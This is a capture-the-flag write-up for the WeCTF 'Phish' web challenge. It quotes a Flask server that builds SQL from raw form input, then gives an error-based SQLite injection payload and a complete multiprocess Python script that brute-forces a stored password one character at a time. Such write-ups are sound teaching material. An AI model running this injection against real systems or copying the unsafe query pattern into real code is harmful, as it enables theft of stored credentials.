Tags: web
Rating: 4.5
# [WeCTF](https://ctftime.org/event/1231)
## Task: Phish
##### Tags: `medium` `web`
We get the source code of the phishing site and link to it.
#### Source code
Many files are html, css to make the site looks similar to apple cloud. But there is a `main.py` file where all server code is.
```python
class User(Model):
id = AutoField()
password = CharField()
username = CharField(unique=True)
class Meta:
database = db
@db.connection_context()
def initialize():
try:
db.create_tables([User])
User.create(username="shou", password=os.getenv("FLAG"))
except:
pass
initialize()
@app.route("/add", methods=["POST"])
def add():
username = request.form["username"]
password = request.form["password"]
sql = f"INSERT INTO `user`(password, username) VALUES ('{password}', '{username}')"
try:
db.execute_sql(sql)
except Exception as e:
return f"Err: {sql}
" + str(e)
return "Your password is leaked :)
" + \
"""<blockquote class="imgur-embed-pub" lang="en" data-id="WY6z44D" >Please
take care of your privacy</blockquote><script async src="//s.imgur.com/min/embed.js"
charset="utf-8"></script> """
```
So, the flag is in the password of the Shou account. And we can see page `/add` that creates a new account. And we can see that there is an INSERT where values go straight from the input. It's SQL injection for sure, and since it returns an error we can perform an error-based SQL injection. We cannot simply get the flag from DB because it does not return any output.
```sql
mark', CASE WHEN substr((SELECT password FROM user WHERE username = 'shou'),1, 1) = 'w' THEN "*random_name*" ELSE "shou" END); --'''
```
I had many troubles with SQLite syntax, but finally, I got it. If the letter is correct we create a new user, if not we get a UNIQUE error because Shou account there for sure.
## Automation
Firstly, I've tried to make fewer requests by checking the format of the flag and get rid of impossible symbols in some places of the flag. But I was making too many errors (to submit flag), so I tried and made pure bruteforce:
```python
import requests
import random
import string
import re
from multiprocessing import Process
alf = []
for i in range(0, 256): # get any possible letter in alphabet
if chr(i) == "'":
continue
if 'a' <= chr(i) <= 'z' or 'A' <= chr(i) <= 'Z' or '!' <= chr(i) <= '@' or chr(i) in '$%^()=-}{_':
alf.append(chr(i))
sql_injection = '''mark', CASE WHEN substr((SELECT password FROM user WHERE username = 'shou'),{}, 1) = '{}' THEN "{}" ELSE "shou" END); --'''
data = {"username": "mark"}
def worker(i): # Finds right i-th letter
f = open(f"./ans/s_{i}", 'wt')
for letter in alf:
random_name = ''.join(random.choice(string.ascii_lowercase) for k in range(100))
local_data = data
local_data['password'] = sql_injection.format(i, letter, random_name)
res = requests.post("http://phish.sg.ctf.so/add", data=local_data)
if len(re.findall(r'UNIQUE constraint failed', res.text)) == 1: # Shou's account. wrong letter
continue
if len(re.findall(r'Your password is leaked ', res.text)) == 1: # Right letter
f.write(letter)
break
if __name__ == "__main__":
processes = []
for i in range(1, 100): # Made it in 100 processes instead of threads (because of GIL)
processes.append(Process(target=worker, args=(i,)))
processes[-1].start()
for p in processes:
p.join()
ans = ''
for i in range(1, 100):
f = open(f'./ans/s_{i}')
a = f.read()
ans += a
print(ans)
```
Also, I was too tired of this task and wanted to finish it asap, so I've done Process communication via files for simplicity and submitted the ✨flag✨.